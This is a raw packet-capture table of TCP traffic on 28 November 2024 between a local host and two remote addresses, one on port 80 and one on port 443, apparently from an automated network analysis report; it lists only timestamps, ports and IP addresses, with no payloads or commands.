Nov 28, 2024 15:17:14.439853907 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:14.439898968 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:14.490700006 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.497169018 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.497195959 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.497720003 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.497725964 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.554711103 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.554749966 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.555257082 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.555268049 CET	49716	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.555269957 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.555283070 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.555763960 CET	49716	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.555769920 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.555902004 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.555907965 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.559910059 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:14.559988022 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:14.559998035 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:14.560041904 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:14.560058117 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:14.560168028 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:14.560230017 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:14.565280914 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.565709114 CET	49713	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.565726995 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.566137075 CET	49713	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.566143036 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.618709087 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.619040012 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.619056940 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.619445086 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.619450092 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.930742025 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.930773020 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.930880070 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.930898905 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.930934906 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.931130886 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.931134939 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.931149960 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.931309938 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.931344032 CET	443	49715	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.931566000 CET	49715	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.933908939 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.933948040 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.934024096 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.934195995 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:14.934209108 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:14.998560905 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.001046896 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.001115084 CET	49716	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.001408100 CET	49716	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.001424074 CET	443	49716	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.004256010 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.004278898 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.004369020 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.004384995 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.004481077 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.004772902 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.004772902 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.004780054 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.004928112 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.004954100 CET	443	49714	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.005000114 CET	49714	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.008044004 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.008079052 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.008191109 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.009114981 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.009141922 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.009154081 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.009156942 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.009222984 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.009356022 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.009371996 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.009514093 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.009598970 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.009643078 CET	49713	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.009916067 CET	49713	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.009929895 CET	443	49713	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.013422966 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.013500929 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.013612032 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.013863087 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.013892889 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.081245899 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.081265926 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.081316948 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.081330061 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.081882000 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.081928968 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.085244894 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.085254908 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.085266113 CET	49717	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.085273027 CET	443	49717	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.089432955 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.089462042 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.089512110 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.089694023 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:15.089701891 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:15.426037073 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:15.426101923 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:15.736587048 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:15.856493950 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.188536882 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.188589096 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.188602924 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.188726902 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.190821886 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.190884113 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.190968990 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.191014051 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.195826054 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.195878029 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.195947886 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.195993900 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.204265118 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.204325914 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.204354048 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.204401016 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.212626934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.212650061 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.212713957 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.212749958 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.221035957 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.221102953 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.221131086 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.223587990 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.229451895 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.229535103 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.319375038 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.319464922 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.319494009 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.319529057 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.323508024 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.323576927 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.324367046 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.324469090 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.324470997 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.324561119 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.332788944 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.332839966 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.332917929 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.332964897 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.341219902 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.341269016 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.341372967 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.341423988 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.349587917 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.349642038 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.391922951 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.391963959 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.391988039 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.392070055 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.396153927 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.396262884 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.396318913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.404568911 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.404625893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.404661894 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.404704094 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.412969112 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.413019896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.413084030 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.413136959 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.421427011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.421463966 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.421483994 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.421618938 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.429840088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.429891109 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.429925919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.430202007 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.438230991 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.438242912 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.438307047 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.451591969 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.451656103 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.451754093 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.451797962 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.454967022 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.455199003 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.455698013 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.455796003 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.455811977 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.455944061 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.463215113 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.463260889 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.463282108 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.463354111 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.468137026 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.468203068 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.468229055 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.468270063 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.475240946 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.475328922 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.475373983 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.475514889 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.520631075 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.520646095 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.520694017 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.520740032 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.525074005 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.525089979 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.525124073 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.525160074 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.529665947 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.529723883 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.529829025 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.530093908 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.535021067 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.535037994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.535079956 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.535130978 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.541960955 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.541975021 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.542026043 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.542040110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.548775911 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.548837900 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.549022913 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.549586058 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.555603027 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.555619001 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.555656910 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.555671930 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.562014103 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.562073946 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.562104940 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.562119961 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.569375992 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.569492102 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.571753025 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.575421095 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.575560093 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.590847969 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.590904951 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.590934038 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.590971947 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.592256069 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.592269897 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.592312098 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.592356920 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.595596075 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.595662117 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.595731974 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.598398924 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.598450899 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.598529100 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.598572016 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.602047920 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.602101088 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.602155924 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.602217913 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.605699062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.605750084 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.605782986 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.605844975 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.609313011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.609364986 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.609404087 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.609565973 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.612942934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.612993002 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.613029003 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.613075018 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.616542101 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.616592884 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.616633892 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.616677046 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.620151997 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.620204926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.652307987 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.652319908 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.652371883 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.653234005 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.653294086 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.653412104 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.653418064 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.653455019 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.654062033 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.654079914 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.654655933 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.654661894 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.656867981 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.656922102 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.656925917 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.656965971 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.660254002 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.660304070 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.660367012 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.660458088 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.663717985 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.663775921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.663827896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.667027950 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.667129993 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.667191029 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.670422077 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.670474052 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.670505047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.670603037 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.673698902 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.673755884 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.673794985 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.673877954 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.676951885 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.677002907 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.721952915 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.721980095 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.722122908 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.723496914 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.723546028 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.723609924 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.724319935 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.726593018 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.726655960 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.727021933 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.727039099 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.727456093 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:16.727462053 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:16.727776051 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.727896929 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.727929115 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.727971077 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.730925083 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.730982065 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.731061935 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.731106043 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.733901024 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.733949900 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.734040976 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.734146118 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.736877918 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.736927986 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.737031937 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.737198114 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:16.739731073 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:16.739825964 CET	49712	80	192.168.2.6	185.215.113.206
